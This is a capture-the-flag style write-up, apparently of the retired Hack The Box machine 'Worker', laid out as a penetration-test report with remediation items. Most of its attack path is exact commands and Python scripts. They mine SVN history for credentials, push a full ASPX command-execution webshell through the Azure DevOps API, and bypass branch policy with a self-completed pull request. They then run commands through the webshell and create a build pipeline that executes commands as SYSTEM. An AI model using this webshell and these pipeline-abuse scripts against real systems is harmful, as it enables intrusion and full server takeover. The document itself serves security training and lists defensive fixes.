Worker
Summary
My anonymously checked out a Subversion repository on port 3690 and mined its commit history, recovering a hardcoded cleartext credential (nathen:[REDACTED: recovered credential]) from a deleted deployment script and internal virtual-host names from a decommission notice. Those credentials authenticated via NTLM to an on-premises Azure DevOps Server instance.
A direct push to the protected master branch was blocked by branch policy, so I pushed an ASPX webshell to a new feature branch, opened a pull request, and used nathen's own PR-completion rights to auto-merge it into master — triggering the existing Alpha-CI pipeline and deploying the webshell to the IIS site at alpha.worker.htb. The webshell delivered remote code execution as the IIS application pool identity, which was then used to read the SVN server's plaintext password file, exposing credentials for a second, higher-privileged account (robisl:[REDACTED: recovered credential]).
That account had local administrator and WinRM rights, yielding an interactive shell and the user flag. Finally, robisl's Azure DevOps permissions allowed creation of a new build pipeline definition in the PartsUnlimited project; queuing that build caused the on-host Azure DevOps agent — running as NT AUTHORITY\SYSTEM — to execute my own commands and expose the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p 80,3690,5985 $TARGET -oN worker.nmapsvn info svn://$TARGET/ && svn list -v svn://$TARGET/Exact commands 4
svn log -v svn://$TARGET/svn cat -r 2 svn://$TARGET/deploy.ps1svn cat svn://$TARGET/moved.txtecho "$TARGET worker.htb devops.worker.htb alpha.worker.htb cartoon.worker.htb lens.worker.htb solid-state.worker.htb spectral.worker.htb story.worker.htb" | sudo tee -a /etc/hostsFixRequire authentication for SVN access and purge secrets from repository historyCritical
Exact commands 3
curl --ntlm -u "nathen:$PASSWORD" 'http://devops.worker.htb/ekenas/_apis/projects?api-version=5.0'curl --ntlm -u "nathen:$PASSWORD" 'http://devops.worker.htb/ekenas/SmartHotel360/_apis/git/repositories?api-version=5.0'curl --ntlm -u "nathen:$PASSWORD" 'http://devops.worker.htb/ekenas/SmartHotel360/_apis/build/definitions?api-version=5.0'Exact commands 3
git clone http://$USERNAME:$PASSWORD@devops.worker.htb/ekenas/SmartHotel360/_git/alpha alpha-repo && cd alpha-repo && git push origin HEAD:masterpython3 << 'EOF'
import requests, base64
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('nathen', "$PASSWORD")
REPO_ID = '<alpha_repo_guid>' # from step 3 enumeration
base = f'http://devops.worker.htb/ekenas/SmartHotel360/_apis/git/repositories/{REPO_ID}'
shell = b'<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><% var p=new Process(); p.StartInfo.FileName="cmd.exe"; p.StartInfo.Arguments="/c "+Request["c"]; p.StartInfo.UseShellExecute=false; p.StartInfo.RedirectStandardOutput=true; p.Start(); Response.Write("<pre>"+Server.HtmlEncode(p.StandardOutput.ReadToEnd())+"</pre>"); %>'
push_body = {'refUpdates': [{'name': 'refs/heads/feature/status-vzqwd', 'oldObjectId': '0'*40}], 'commits': [{'comment': 'update status', 'changes': [{'changeType': 'add', 'item': {'path': '/cmd.aspx'}, 'newContent': {'content': base64.b64encode(shell).decode(), 'contentType': 'base64Encoded'}}]}]}
resp = requests.post(base + '/pushes?api-version=5.0', json=push_body, auth=auth)
print('Push status:', resp.status_code)
EOFpython3 << 'EOF'
import requests
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('nathen', "$PASSWORD")
REPO_ID = '<alpha_repo_guid>'
NATHEN_ID = '<nathen_user_guid>' # from /_apis/connectionData or profile endpoint
base = f'http://devops.worker.htb/ekenas/SmartHotel360/_apis/git/repositories/{REPO_ID}'
pr = requests.post(base + '/pullrequests?api-version=5.0', json={'title': 'Update status page', 'sourceRefName': 'refs/heads/feature/status-vzqwd', 'targetRefName': 'refs/heads/master', 'autoCompleteSetBy': {'id': NATHEN_ID}, 'completionOptions': {'mergeStrategy': 'noFastForward'}}, auth=auth).json()
pr_id = pr['pullRequestId']
requests.patch(base + f'/pullrequests/{pr_id}?api-version=5.0', json={'status': 'completed', 'lastMergeSourceCommit': {'commitId': pr['lastMergeSourceCommit']['commitId']}, 'completionOptions': {'mergeStrategy': 'noFastForward'}}, auth=auth)
print('PR completed, id:', pr_id)
EOFFixPrevent a single account from authoring and completing its own pull requestsHigh
Exact commands 3
curl -s 'http://alpha.worker.htb/cmd.aspx?c=whoami+/all'curl -s 'http://alpha.worker.htb/cmd.aspx?c=ipconfig+/all'curl -s 'http://alpha.worker.htb/cmd.aspx?c=dir+C:\\Users'FixPrevent server-side script execution of pipeline-deployed contentHigh
Exact commands 1
curl -s 'http://alpha.worker.htb/cmd.aspx?c=type+W:\svnrepos\www\conf\passwd'FixReplace the SVN plaintext password store and restrict access to SVN configuration filesCritical
Exact commands 3
nxc winrm $TARGET -d Worker -u robisl -p $PASSWORD2evil-winrm -i $TARGET -u robisl -p $PASSWORD2type C:\Users\robisl\Desktop\user.txtExact commands 3
python3 << 'EOF'
import requests
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('Worker\\robisl', '$PASSWORD2')
base = 'http://devops.worker.htb/ekenas/PartsUnlimited/_apis'
defn = {
'name': 'StatusCheck',
'type': 'build',
'quality': 'definition',
'queue': {'name': 'Default'},
'process': {'type': 1, 'phases': [{'steps': [{'task': {'id': 'e213ff0f-5d5c-4791-802d-52ea3e7be1f1', 'versionSpec': '2.*'}, 'inputs': {'script': 'type C:\\Users\\Administrator\\Desktop\\root.txt', 'workingDirectory': ''}, 'displayName': 'check', 'enabled': True}]}]}
}
result = requests.post(base + '/build/definitions?api-version=6.0', json=defn, auth=auth).json()
print('Definition id:', result.get('id'))
EOFpython3 << 'EOF'
import requests
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('Worker\\robisl', '$PASSWORD2')
DEF_ID = '<definition_id_from_previous_step>'
base = 'http://devops.worker.htb/ekenas/PartsUnlimited/_apis'
build = requests.post(base + '/build/builds?api-version=6.0', json={'definition': {'id': int(DEF_ID)}}, auth=auth).json()
print('Build id:', build.get('id'))
EOFpython3 << 'EOF'
import requests, time
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('Worker\\robisl', '$PASSWORD2')
BUILD_ID = '<build_id_from_previous_step>'
time.sleep(30)
base = f'http://devops.worker.htb/ekenas/PartsUnlimited/_apis/build/builds/{BUILD_ID}'
logs = requests.get(base + '/logs?api-version=6.0', auth=auth).json()
for log in logs.get('value', []):
print(requests.get(log['url'], auth=auth).text)
EOFFixRun the Azure DevOps build agent as a least-privilege service account, not SYSTEMCritical
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 3690/tcp | svnserve Subversion |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |